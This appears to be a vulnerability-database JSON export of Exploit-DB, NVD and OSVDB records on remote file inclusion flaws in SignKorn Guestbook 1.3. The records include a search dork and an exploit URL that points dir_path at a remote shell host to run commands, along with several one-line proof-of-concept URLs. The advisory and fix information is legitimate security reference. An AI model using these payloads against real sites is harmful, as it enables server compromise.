{"hash": "d05dff70557f7ec56376463a6dd80159099a9b10e86ac10bfcabd75cdf357dfd", "id": "EDB-ID:2354", "lastseen": "2016-01-31T16:04:42", "enchantments": {"score": {"value": 7.5, "vector": "NONE"}, "vulnersScore": 7.5}, "bulletinFamily": "exploit", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "edition": 1, "history": [], "type": "exploitdb", "sourceHref": "https://www.exploit-db.com/download/2354/", "description": "Signkorn Guestbook <= 1.3 (dir_path) Remote File Include Vulnerability. CVE-2006-4788,CVE-2006-4889. Webapps exploit for php platform", "title": "Signkorn Guestbook <= 1.3 dir_path Remote File Include Vulnerability", "sourceData": "#==============================================================================================\n#Signkorn Guestbook <= v1.3 (dir_path) Remote File Inclusion Exploit\n#===============================================================================================\n# \n#Critical Level : Dangerous \n# \n#Venedor site : http://warez.gtasoft.ru/skripts/SignKorn.Guestbook.(SL).v1.1.PHP.NULL-DGT.zip \n# \n#Version : v1.3 & all versions bellow \n# \n#================================================================================================\n#\n#Dork : \"Signkorn Guestbook 1.3\" & \"Signkorn Guestbook 1.1 \" Signkorn Guestbook 1.2\"\n#\n#================================================================================================\n#Bug in : includes/log.inc.php\n#\n#Vlu Code :\n#--------------------------------\n# if ($_SESSION['permission'] == \"yes\") {\n# \n# // ########### Admin Menu #############\n# include($dir_path . '/includes/admin.menu.inc.php');\n#\n#================================================================================================\n#\n#Exploit :\n#--------------------------------\n#\n#http://sitename.com/[Script Path]/includes/log.inc.php?_SESSION[permission]=yes&dir_path=http://SHELLURL.COM?&cmd=id\n#\n#================================================================================================\n#Discoverd By : SHiKaA\n#\n#Conatact : SHiKaA-[at]hotmail.com\n#\n#GreetZ : CCtream - Cyper-worrier team\n# Special Thx To : Str0ke & simoo\n==================================================================================================\n\n# milw0rm.com [2006-09-12]\n", "objectVersion": "1.0", "cvelist": ["CVE-2006-4889", "CVE-2006-4788"], "published": "2006-09-12T00:00:00", "osvdbidlist": ["28741"], "references": [], "reporter": "SHiKaA", "modified": "2006-09-12T00:00:00", "href": "https://www.exploit-db.com/exploits/2354/", "viewCount": 2}

{"cve": [{"lastseen": "2017-10-19T11:12:31", "references": ["https://www.exploit-db.com/exploits/2354", "http://www.vupen.com/english/advisories/2006/3570", "http://www.telekorn.com/forum/showthread.php?t=1427", "https://exchange.xforce.ibmcloud.com/vulnerabilities/28888"], "description": "PHP remote file inclusion vulnerability in includes/log.inc.php in Telekorn SignKorn Guestbook (SL) 1.3 and earlier, when register_globals is enabled and _SESSION[permission] parameter is set to \"yes\", allows remote attackers to execute arbitrary PHP code via a URL in the dir_path parameter.", "edition": 3, "reporter": "NVD", "published": "2006-09-14T06:07:00", "title": "CVE-2006-4788", "type": "cve", "enchantments": {"score": {"modified": "2017-10-19T11:12:31", "vector": "NONE", "value": 7.5}}, "assessment": {"system": "", "name": "", "href": ""}, "bulletinFamily": "NVD", "cvelist": ["CVE-2006-4788"], "scanner": [], "modified": "2017-10-18T21:29:25", "cpe": ["cpe:/a:telekorn:signkorn_guestbook:1.2", "cpe:/a:telekorn:signkorn_guestbook:1.1", "cpe:/a:telekorn:signkorn_guestbook:1.3"], "id": "CVE-2006-4788", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-4788", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-07-20T10:49:33", "references": ["http://www.securityfocus.com/archive/1/archive/1/446086/100/0/threaded", "http://www.telekorn.com/forum/showthread.php?t=1427", "http://www.securityfocus.com/bid/19977", "https://exchange.xforce.ibmcloud.com/vulnerabilities/28888", "http://securityreason.com/securityalert/1619"], "description": "Multiple PHP remote file inclusion vulnerabilities in Telekorn SignKorn Guestbook (SL) 1.3 and earlier, when register_globals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the dir_path parameter in (1) index.php, (2) includes/functions.gb.php, (3) includes/functions.admin.php, (4) includes/admin.inc.php, (5) help.php, (6) smile.php, (7) entry.php; (8) adminhelp0.php, (9) adminhelp1.php, (10) adminhelp2.php, and (11) adminhelp3.php in (a) help/en and (b) help/de directories; and the (12) preview.php, (13) log.php, (14) index.php, (15) config.php, and (16) admin.php in the (c) admin directory, a different set of vectors than CVE-2006-4788.", "edition": 2, "reporter": "NVD", "published": "2006-09-19T17:07:00", "title": "CVE-2006-4889", "type": "cve", "enchantments": {"score": {"modified": "2017-07-20T10:49:33", "vector": "NONE", "value": 7.5}}, "assessment": {"system": "", "name": "", "href": ""}, "bulletinFamily": "NVD", "cvelist": ["CVE-2006-4889"], "scanner": [], "modified": "2017-07-19T21:33:22", "cpe": ["cpe:/a:telekorn:signkorn_guestbook:1.2", "cpe:/a:telekorn:signkorn_guestbook:1.1", "cpe:/a:telekorn:signkorn_guestbook:1.3"], "id": "CVE-2006-4889", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-4889", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "exploitdb": [{"lastseen": "2016-02-03T08:20:58", "osvdbidlist": ["32200"], "references": [], "description": "Telekorn Signkorn Guestbook 1.x includes/functions.gb.php dir_path Parameter Remote File Inclusion. CVE-2006-4889. Webapps exploit for php platform", "edition": 1, "reporter": "ThE_LeO", "published": "2006-09-12T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "type": "exploitdb", "title": "Telekorn Signkorn Guestbook 1.x includes/functions.gb.php dir_path Parameter Remote File Inclusion", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-4889"], "modified": "2006-09-12T00:00:00", "id": "EDB-ID:28523", "href": "https://www.exploit-db.com/exploits/28523/", "sourceData": "source: http://www.securityfocus.com/bid/19977/info\r\n \r\nTelekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.\r\n \r\nThis may allow the attacker to compromise the application and the underlying system; other attacks are also possible.\r\n \r\nVersions 1.3 and earlier are affected by this issue.\r\n\r\nhttp://www.example.Com/[Script]/includes/functions.gb.php?dir_path=[U r Evil Script] ;", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/28523/"}, {"lastseen": "2016-02-03T08:21:37", "osvdbidlist": ["32205"], "references": [], "description": "Telekorn Signkorn Guestbook 1.x help/en/adminhelp0.php dir_path Parameter Remote File Inclusion. CVE-2006-4889. Webapps exploit for php platform", "edition": 1, "reporter": "ThE_LeO", "published": "2006-09-12T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "type": "exploitdb", "title": "Telekorn Signkorn Guestbook 1.x help/en/adminhelp0.php dir_path Parameter Remote File Inclusion", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-4889"], "modified": "2006-09-12T00:00:00", "id": "EDB-ID:28528", "href": "https://www.exploit-db.com/exploits/28528/", "sourceData": "source: http://www.securityfocus.com/bid/19977/info\r\n \r\nTelekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.\r\n \r\nThis may allow the attacker to compromise the application and the underlying system; other attacks are also possible.\r\n \r\nVersions 1.3 and earlier are affected by this issue.\r\n\r\nhttp://www.example.Com/[Script]/help/en/adminhelp0.php?dir_path=[U r Evil Script] ;", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/28528/"}, {"lastseen": "2016-02-03T08:23:08", "osvdbidlist": ["32216"], "references": [], "description": "Telekorn Signkorn Guestbook 1.x admin/index.php dir_path Parameter Remote File Inclusion. CVE-2006-4889 . Webapps exploit for php platform", "edition": 1, "reporter": "ThE_LeO", "published": "2006-09-12T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "type": "exploitdb", "title": "Telekorn Signkorn Guestbook 1.x admin/index.php dir_path Parameter Remote File Inclusion", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-4889"], "modified": "2006-09-12T00:00:00", "id": "EDB-ID:28539", "href": "https://www.exploit-db.com/exploits/28539/", "sourceData": "source: http://www.securityfocus.com/bid/19977/info\r\n \r\nTelekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.\r\n \r\nThis may allow the attacker to compromise the application and the underlying system; other attacks are also possible.\r\n \r\nVersions 1.3 and earlier are affected by this issue.\r\n\r\nhttp://www.example.Com/[Script]/admin/index.php?dir_path=[U r Evil Script] ;", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/28539/"}, {"lastseen": "2016-02-03T08:21:52", "osvdbidlist": ["32207"], "references": [], "description": "Telekorn Signkorn Guestbook 1.x help/en/adminhelp2.php dir_path Parameter Remote File Inclusion. CVE-2006-4889 . Webapps exploit for php platform", "edition": 1, "reporter": "ThE_LeO", "published": "2006-09-12T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "type": "exploitdb", "title": "Telekorn Signkorn Guestbook 1.x help/en/adminhelp2.php dir_path Parameter Remote File Inclusion", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-4889"], "modified": "2006-09-12T00:00:00", "id": "EDB-ID:28530", "href": "https://www.exploit-db.com/exploits/28530/", "sourceData": "source: http://www.securityfocus.com/bid/19977/info\r\n \r\nTelekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.\r\n \r\nThis may allow the attacker to compromise the application and the underlying system; other attacks are also possible.\r\n \r\nVersions 1.3 and earlier are affected by this issue.\r\n\r\nhttp://www.example.Com/[Script]/help/en/adminhelp2.php?dir_path=[U r Evil Script] ;", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/28530/"}, {"lastseen": "2016-02-03T08:21:06", "osvdbidlist": ["32201"], "references": [], "description": "Telekorn Signkorn Guestbook 1.x includes/functions.admin.php dir_path Parameter Remote File Inclusion. CVE-2006-4889. Webapps exploit for php platform", "edition": 1, "reporter": "ThE_LeO", "published": "2006-09-12T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "type": "exploitdb", "title": "Telekorn Signkorn Guestbook 1.x includes/functions.admin.php dir_path Parameter Remote File Inclusion", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-4889"], "modified": "2006-09-12T00:00:00", "id": "EDB-ID:28524", "href": "https://www.exploit-db.com/exploits/28524/", "sourceData": "source: http://www.securityfocus.com/bid/19977/info\r\n \r\nTelekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.\r\n \r\nThis may allow the attacker to compromise the application and the underlying system; other attacks are also possible.\r\n \r\nVersions 1.3 and earlier are affected by this issue.\r\n\r\nhttp://www.example.Com/[Script]/includes/functions.admin.php?dir_path=[U r Evil Script] ;", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/28524/"}, {"lastseen": "2016-02-03T08:22:52", "osvdbidlist": ["32214"], "references": [], "description": "Telekorn Signkorn Guestbook 1.x admin/preview.php dir_path Parameter Remote File Inclusion. CVE-2006-4889. Webapps exploit for php platform", "edition": 1, "reporter": "ThE_LeO", "published": "2006-09-12T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "type": "exploitdb", "title": "Telekorn Signkorn Guestbook 1.x admin/preview.php dir_path Parameter Remote File Inclusion", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-4889"], "modified": "2006-09-12T00:00:00", "id": "EDB-ID:28537", "href": "https://www.exploit-db.com/exploits/28537/", "sourceData": "source: http://www.securityfocus.com/bid/19977/info\r\n \r\nTelekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.\r\n \r\nThis may allow the attacker to compromise the application and the underlying system; other attacks are also possible.\r\n \r\nVersions 1.3 and earlier are affected by this issue.\r\n\r\nhttp://www.example.Com/[Script]/admin/preview.php?dir_path=[U r Evil Script] ;", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/28537/"}, {"lastseen": "2016-02-03T08:23:00", "osvdbidlist": ["32215"], "references": [], "description": "Telekorn Signkorn Guestbook 1.x admin/log.php dir_path Parameter Remote File Inclusion. CVE-2006-4889. Webapps exploit for php platform", "edition": 1, "reporter": "ThE_LeO", "published": "2006-09-12T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "type": "exploitdb", "title": "Telekorn Signkorn Guestbook 1.x admin/log.php dir_path Parameter Remote File Inclusion", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-4889"], "modified": "2006-09-12T00:00:00", "id": "EDB-ID:28538", "href": "https://www.exploit-db.com/exploits/28538/", "sourceData": "source: http://www.securityfocus.com/bid/19977/info\r\n \r\nTelekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.\r\n \r\nThis may allow the attacker to compromise the application and the underlying system; other attacks are also possible.\r\n \r\nVersions 1.3 and earlier are affected by this issue.\r\n\r\nhttp://www.example.Com/[Script]/admin/log.php?dir_path=[U r Evil Script] ;", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/28538/"}, {"lastseen": "2016-02-03T08:20:50", "osvdbidlist": ["32199"], "references": [], "description": "Telekorn Signkorn Guestbook 1.x index.php dir_path Parameter Remote File Inclusion. CVE-2006-4889. Webapps exploit for php platform", "edition": 1, "reporter": "ThE_LeO", "published": "2006-09-12T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "type": "exploitdb", "title": "Telekorn Signkorn Guestbook 1.x index.php dir_path Parameter Remote File Inclusion", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-4889"], "modified": "2006-09-12T00:00:00", "id": "EDB-ID:28522", "href": "https://www.exploit-db.com/exploits/28522/", "sourceData": "source: http://www.securityfocus.com/bid/19977/info\r\n\r\nTelekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.\r\n\r\nThis may allow the attacker to compromise the application and the underlying system; other attacks are also possible.\r\n\r\nVersions 1.3 and earlier are affected by this issue.\r\n\r\nhttp://www.example.Com/[Script]/index.php?dir_path=[U r Evil Script] ;", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/28522/"}, {"lastseen": "2016-02-03T08:23:19", "osvdbidlist": ["32217"], "references": [], "description": "Telekorn Signkorn Guestbook 1.x admin/config.php dir_path Parameter Remote File Inclusion. CVE-2006-4889. Webapps exploit for php platform", "edition": 1, "reporter": "ThE_LeO", "published": "2006-09-12T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "type": "exploitdb", "title": "Telekorn Signkorn Guestbook 1.x admin/config.php dir_path Parameter Remote File Inclusion", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-4889"], "modified": "2006-09-12T00:00:00", "id": "EDB-ID:28540", "href": "https://www.exploit-db.com/exploits/28540/", "sourceData": "source: http://www.securityfocus.com/bid/19977/info\r\n \r\nTelekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.\r\n \r\nThis may allow the attacker to compromise the application and the underlying system; other attacks are also possible.\r\n \r\nVersions 1.3 and earlier are affected by this issue.\r\n\r\nhttp://www.example.Com/[Script]/admin/config.php?dir_path=[U r Evil Script] ;", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/28540/"}, {"lastseen": "2016-02-03T08:23:28", "osvdbidlist": ["32218"], "references": [], "description": "Telekorn Signkorn Guestbook 1.x admin/admin.php dir_path Parameter Remote File Inclusion. CVE-2006-4889. Webapps exploit for php platform", "edition": 1, "reporter": "ThE_LeO", "published": "2006-09-12T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "type": "exploitdb", "title": "Telekorn Signkorn Guestbook 1.x admin/admin.php dir_path Parameter Remote File Inclusion", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-4889"], "modified": "2006-09-12T00:00:00", "id": "EDB-ID:28541", "href": "https://www.exploit-db.com/exploits/28541/", "sourceData": "source: http://www.securityfocus.com/bid/19977/info\r\n \r\nTelekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.\r\n \r\nThis may allow the attacker to compromise the application and the underlying system; other attacks are also possible.\r\n \r\nVersions 1.3 and earlier are affected by this issue.\r\n\r\nhttp://www.example.Com/[Script]/admin/admin.php?dir_path=[U r Evil Script] ;", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/28541/"}], "osvdb": [{"lastseen": "2017-04-28T13:20:28", "references": [], "description": "## Vulnerability Description\nSignKorn Guestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the help/en/adminhelp2.php script not properly sanitizing user input supplied to the 'dir_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nUpgrade to version 1.4 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.\n## Short Description\nSignKorn Guestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the help/en/adminhelp2.php script not properly sanitizing user input supplied to the 'dir_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[Script]/help/en/adminhelp2.php?dir_path=[attacker]\n## References:\nVendor URL: http://www.telekorn.com/cms/front_content.php\nVendor Specific News/Changelog Entry: http://www.telekorn.com/forum/showthread.php?t=1427\n[Related OSVDB ID: 32202](https://vulners.com/osvdb/OSVDB:32202)\n[Related OSVDB ID: 32215](https://vulners.com/osvdb/OSVDB:32215)\n[Related OSVDB ID: 32217](https://vulners.com/osvdb/OSVDB:32217)\n[Related OSVDB ID: 32199](https://vulners.com/osvdb/OSVDB:32199)\n[Related OSVDB ID: 32201](https://vulners.com/osvdb/OSVDB:32201)\n[Related OSVDB ID: 32203](https://vulners.com/osvdb/OSVDB:32203)\n[Related OSVDB ID: 32209](https://vulners.com/osvdb/OSVDB:32209)\n[Related OSVDB ID: 32211](https://vulners.com/osvdb/OSVDB:32211)\n[Related OSVDB ID: 32213](https://vulners.com/osvdb/OSVDB:32213)\n[Related OSVDB ID: 32218](https://vulners.com/osvdb/OSVDB:32218)\n[Related OSVDB ID: 32200](https://vulners.com/osvdb/OSVDB:32200)\n[Related OSVDB ID: 32206](https://vulners.com/osvdb/OSVDB:32206)\n[Related OSVDB ID: 32216](https://vulners.com/osvdb/OSVDB:32216)\n[Related OSVDB ID: 32204](https://vulners.com/osvdb/OSVDB:32204)\n[Related OSVDB ID: 32205](https://vulners.com/osvdb/OSVDB:32205)\n[Related OSVDB ID: 32208](https://vulners.com/osvdb/OSVDB:32208)\n[Related OSVDB ID: 32210](https://vulners.com/osvdb/OSVDB:32210)\n[Related OSVDB ID: 32212](https://vulners.com/osvdb/OSVDB:32212)\n[Related OSVDB ID: 32214](https://vulners.com/osvdb/OSVDB:32214)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0249.html\nISS X-Force ID: 28888\n[CVE-2006-4889](https://vulners.com/cve/CVE-2006-4889)\nBugtraq ID: 19977\n", "edition": 1, "reporter": "ThE__LeO(x17@hotmail.fr)", "published": "2006-09-13T13:23:17", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "SignKorn Guestbook help/en/adminhelp2.php dir_path Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "signkorn guestbook", "version": "1.3", "operator": "eq"}], "cvelist": ["CVE-2006-4889"], "modified": "2006-09-13T13:23:17", "href": "https://vulners.com/osvdb/OSVDB:32207", "id": "OSVDB:32207", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:28", "references": [], "description": "## Vulnerability Description\nSignKorn Guestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the help/de/adminhelp1.php script not properly sanitizing user input supplied to the 'dir_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nUpgrade to version 1.4 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.\n## Short Description\nSignKorn Guestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the help/de/adminhelp1.php script not properly sanitizing user input supplied to the 'dir_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[Script]/help/de/adminhelp1.php?dir_path=[attacker]\n## References:\nVendor URL: http://www.telekorn.com/cms/front_content.php\nVendor Specific News/Changelog Entry: http://www.telekorn.com/forum/showthread.php?t=1427\n[Related OSVDB ID: 32202](https://vulners.com/osvdb/OSVDB:32202)\n[Related OSVDB ID: 32215](https://vulners.com/osvdb/OSVDB:32215)\n[Related OSVDB ID: 32217](https://vulners.com/osvdb/OSVDB:32217)\n[Related OSVDB ID: 32199](https://vulners.com/osvdb/OSVDB:32199)\n[Related OSVDB ID: 32201](https://vulners.com/osvdb/OSVDB:32201)\n[Related OSVDB ID: 32203](https://vulners.com/osvdb/OSVDB:32203)\n[Related OSVDB ID: 32209](https://vulners.com/osvdb/OSVDB:32209)\n[Related OSVDB ID: 32211](https://vulners.com/osvdb/OSVDB:32211)\n[Related OSVDB ID: 32213](https://vulners.com/osvdb/OSVDB:32213)\n[Related OSVDB ID: 32218](https://vulners.com/osvdb/OSVDB:32218)\n[Related OSVDB ID: 32200](https://vulners.com/osvdb/OSVDB:32200)\n[Related OSVDB ID: 32206](https://vulners.com/osvdb/OSVDB:32206)\n[Related OSVDB ID: 32216](https://vulners.com/osvdb/OSVDB:32216)\n[Related OSVDB ID: 32204](https://vulners.com/osvdb/OSVDB:32204)\n[Related OSVDB ID: 32205](https://vulners.com/osvdb/OSVDB:32205)\n[Related OSVDB ID: 32207](https://vulners.com/osvdb/OSVDB:32207)\n[Related OSVDB ID: 32208](https://vulners.com/osvdb/OSVDB:32208)\n[Related OSVDB ID: 32212](https://vulners.com/osvdb/OSVDB:32212)\n[Related OSVDB ID: 32214](https://vulners.com/osvdb/OSVDB:32214)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0249.html\nISS X-Force ID: 28888\n[CVE-2006-4889](https://vulners.com/cve/CVE-2006-4889)\nBugtraq ID: 19977\n", "edition": 1, "reporter": "ThE__LeO(x17@hotmail.fr)", "published": "2006-09-13T13:23:17", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "SignKorn Guestbook help/de/adminhelp1.php dir_path Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "signkorn guestbook", "version": "1.3", "operator": "eq"}], "cvelist": ["CVE-2006-4889"], "modified": "2006-09-13T13:23:17", "href": "https://vulners.com/osvdb/OSVDB:32210", "id": "OSVDB:32210", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:28", "references": [], "description": "## Vulnerability Description\nSignKorn Guestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the includes/admin.inc.php script not properly sanitizing user input supplied to the 'dir_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nUpgrade to version 1.4 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.\n## Short Description\nSignKorn Guestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the includes/admin.inc.php script not properly sanitizing user input supplied to the 'dir_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[Script]/includes/admin.inc.php?dir_path=[attacker]\n## References:\nVendor URL: http://www.telekorn.com/cms/front_content.php\nVendor Specific News/Changelog Entry: http://www.telekorn.com/forum/showthread.php?t=1427\n[Related OSVDB ID: 32215](https://vulners.com/osvdb/OSVDB:32215)\n[Related OSVDB ID: 32217](https://vulners.com/osvdb/OSVDB:32217)\n[Related OSVDB ID: 32199](https://vulners.com/osvdb/OSVDB:32199)\n[Related OSVDB ID: 32201](https://vulners.com/osvdb/OSVDB:32201)\n[Related OSVDB ID: 32203](https://vulners.com/osvdb/OSVDB:32203)\n[Related OSVDB ID: 32209](https://vulners.com/osvdb/OSVDB:32209)\n[Related OSVDB ID: 32211](https://vulners.com/osvdb/OSVDB:32211)\n[Related OSVDB ID: 32213](https://vulners.com/osvdb/OSVDB:32213)\n[Related OSVDB ID: 32218](https://vulners.com/osvdb/OSVDB:32218)\n[Related OSVDB ID: 32200](https://vulners.com/osvdb/OSVDB:32200)\n[Related OSVDB ID: 32206](https://vulners.com/osvdb/OSVDB:32206)\n[Related OSVDB ID: 32216](https://vulners.com/osvdb/OSVDB:32216)\n[Related OSVDB ID: 32204](https://vulners.com/osvdb/OSVDB:32204)\n[Related OSVDB ID: 32205](https://vulners.com/osvdb/OSVDB:32205)\n[Related OSVDB ID: 32207](https://vulners.com/osvdb/OSVDB:32207)\n[Related OSVDB ID: 32208](https://vulners.com/osvdb/OSVDB:32208)\n[Related OSVDB ID: 32210](https://vulners.com/osvdb/OSVDB:32210)\n[Related OSVDB ID: 32212](https://vulners.com/osvdb/OSVDB:32212)\n[Related OSVDB ID: 32214](https://vulners.com/osvdb/OSVDB:32214)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-09/0249.html\nISS X-Force ID: 28888\n[CVE-2006-4889](https://vulners.com/cve/CVE-2006-4889)\nBugtraq ID: 19977\n", "edition": 1, "reporter": "ThE__LeO(x17@hotmail.fr)", "published": "2006-09-13T13:23:17", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "SignKorn Guestbook includes/admin.inc.php dir_path Variable Remote File Inclusion", "type": "osvdb", "bulletinFamily": "software", "affectedSoftware": [{"name": "signkorn guestbook", "version": "1.3", "operator": "eq"}], "cvelist": ["CVE-2006-4889"], "modified": "2006-09-13T13:23:17", "href": "https://vulners.com/osvdb/OSVDB:32202", "id": "OSVDB:32202", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:28", "references": [], "description": "## Vulnerability Description\nSignKorn Guestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the help/de/adminhelp2.php script not properly sanitizing user input supplied to the 'dir_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## Solution Description\nUpgrade to version 1.4 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.\n## Short Description\nSignKorn Guestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the help/de/adminhelp2.php script not properly sanitizing user input supplied to the 'dir_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[Script]/help/de/adminhelp2.php?dir_path=[attacker]\n## References:\nVendor URL: http://www.telekorn.com/cms/front_content.php\nVendor Specific News/Changelog Entry: http://www.telekorn.com/forum/showthread.php?t=1427\n[Related OSVDB ID: 32202](https://vulners.com/osvdb/OSVDB:32202)\n[Related OSVDB ID: 32215](https://vulners.com/osvdb/OSVDB:32215)\n[Related OSVDB ID: 32217](https://vulners.com/osvdb/OSVDB:32217)\n[Related OSVDB ID: 32199](https://vulners.com/osvdb/OSVDB:32199)\n[Related OSVDB ID: 32201](https://vulners.com/osvdb/OSVDB:32201)\n[Related OSVDB ID: 32203](https://vulners.com/osvdb/OSVDB:32203)\n[Related OSVDB ID: 